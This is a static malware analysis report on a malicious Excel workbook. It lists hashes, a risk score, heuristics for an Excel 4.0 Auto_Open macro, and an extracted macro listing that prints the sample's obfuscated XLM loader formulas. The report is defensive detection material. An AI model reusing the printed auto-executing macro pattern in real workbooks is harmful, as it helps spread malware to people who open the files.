Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 1fab982a70439590…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:44:30 Authoring application: Microsoft Excel First seen: 2021-04-10
MD5: fced2be88153d5103a2a9999542f963d SHA-1: 29f2ed5d0768ad3e2ee0f76a69acea8a64c53880 SHA-256: 1fab982a70439590310ab43c91374ee48e472f800da278d641f88705cb7b5569
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6586 bytes
SHA-256: 2b62d8fd861fc02eda7fcf783c6295014f5756665fbbaf6d335f39703c955311
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     13 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  kdLm
' 0018     26 LABEL : Cell Value, String Constant - AedatiElDcz len=0 
' 0018     20 LABEL : Cell Value, String Constant - ArIoW len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!B179 
' 0018     26 LABEL : Cell Value, String Constant - DizdKVqOLLE len=0 
' 0018     27 LABEL : Cell Value, String Constant - eqfyFcfDDOMR len=0 
' 0018     25 LABEL : Cell Value, String Constant - eRngtkmBdU len=0 
' 0018     25 LABEL : Cell Value, String Constant - ffozhFWYlC len=0 
' 0018     20 LABEL : Cell Value, String Constant - gbeas len=0 
' 0018     27 LABEL : Cell Value, String Constant - gKJmenBQJsTZ len=0 
' 0018     20 LABEL : Cell Value, String Constant - kEYee len=0 
' 0018     22 LABEL : Cell Value, String Constant - mgwjwAk len=0 
' 0018     20 LABEL : Cell Value, String Constant - NASoV len=0 
' 0018     24 LABEL : Cell Value, String Constant - QGBaOXlEr len=0 
' 0018     22 LABEL : Cell Value, String Constant - qOiNQXL len=0 
' 0018     24 LABEL : Cell Value, String Constant - QvcYmQwRT len=0 
' 0018     20 LABEL : Cell Value, String Constant - Sdfsf len=0 
' 0018     24 LABEL : Cell Value, String Constant - TbBlVzdIp len=0 
' 0018     23 LABEL : Cell Value, String Constant - vByBFvTI len=0 
' 0018     25 LABEL : Cell Value, String Constant - XIicAyVtqw len=0 
' 0018     21 LABEL : Cell Value, String Constant - XUCOhA len=0 
' 0018     25 LABEL : Cell Value, String Constant - yqdeeeksGt len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  kdLm,Q81,"",749.00000000000000000000
'  kdLm,Q82,"",16.00000000000000000000
'  kdLm,Q83,"",-333.00000000000000000000
'  kdLm,Q84,"",-868.00000000000000000000
'  kdLm,Q85,"",25.00000000000000000000
'  kdLm,Q86,"",-386.00000000000000000000
'  kdLm,B88,"SET.NAME("mgwjwAk",0+VALUE("0"))",""
'  kdLm,B93,"SET.NAME("XUCOhA",mgwjwAk)",""
'  kdLm,B97,"SET.NAME("eqfyFcfDDOMR",mgwjwAk)",""
'  kdLm,B100,"SET.NAME("yqdeeeksGt",COUNTA(ffozhFWYlC))",""
'  kdLm,B102,"SET.NAME("kEYee",COUNTA(AedatiElDcz))",""
'  kdLm,B107,[],""
'  kdLm,B110,"SET.NAME("TbBlVzdIp","")",""
'  kdLm,B115,"XUCOhA",""
'  kdLm,B117,"SET.NAME("Sdfsf",HLOOKUP("*",ffozhFWYlC,XUCOhA,FALSE))",""
'  kdLm,B121,"eRngtkmBdU",""
'  kdLm,B124,"SET.NAME("gbeas",mgwjwAk)",""
'  kdLm,B126,[],""
'  kdLm,B129,"gbeas",""
'  kdLm,B133,"ArIoW",""
'  kdLm,B138,"qOiNQXL",""
'  kdLm,B143,"DizdKVqOLLE",""
'  kdLm,B147,"SET.NAME("QGBaOXlEr",VALUE(HLOOKUP("*",AedatiElDcz,DizdKVqOLLE,FALSE)))",""
'  kdLm,B152,"QvcYmQwRT",""
'  kdLm,B156,"TbBlVzdIp",""
'  kdLm,B158,"eqfyFcfDDOMR",""
'  kdLm,B160,NEXT(),""
'  kdLm,B162,"vByBFvTI",""
'  kdLm,B165,[],""
'  kdLm,B168,"XIicAyVtqw",""
'  kdLm,B173,NEXT(),""
'  kdLm,B177,RETURN(),""
'  kdLm,B201,"SET.NAME("NASoV",B88)",""
'  kdLm,B204,"ffozhFWYlC",""
'  kdLm,B209,"SET.NAME("AedatiElDcz",R52C13)",""
'  kdLm,B214,"SET.NAME("XIicAyVtqw",225)",""
'  kdLm,B219,"SET.NAME("gKJmenBQJsTZ",2)",""
'  kdLm,B224,NASoV(),""
'  kdLm,B225,HALT(),""

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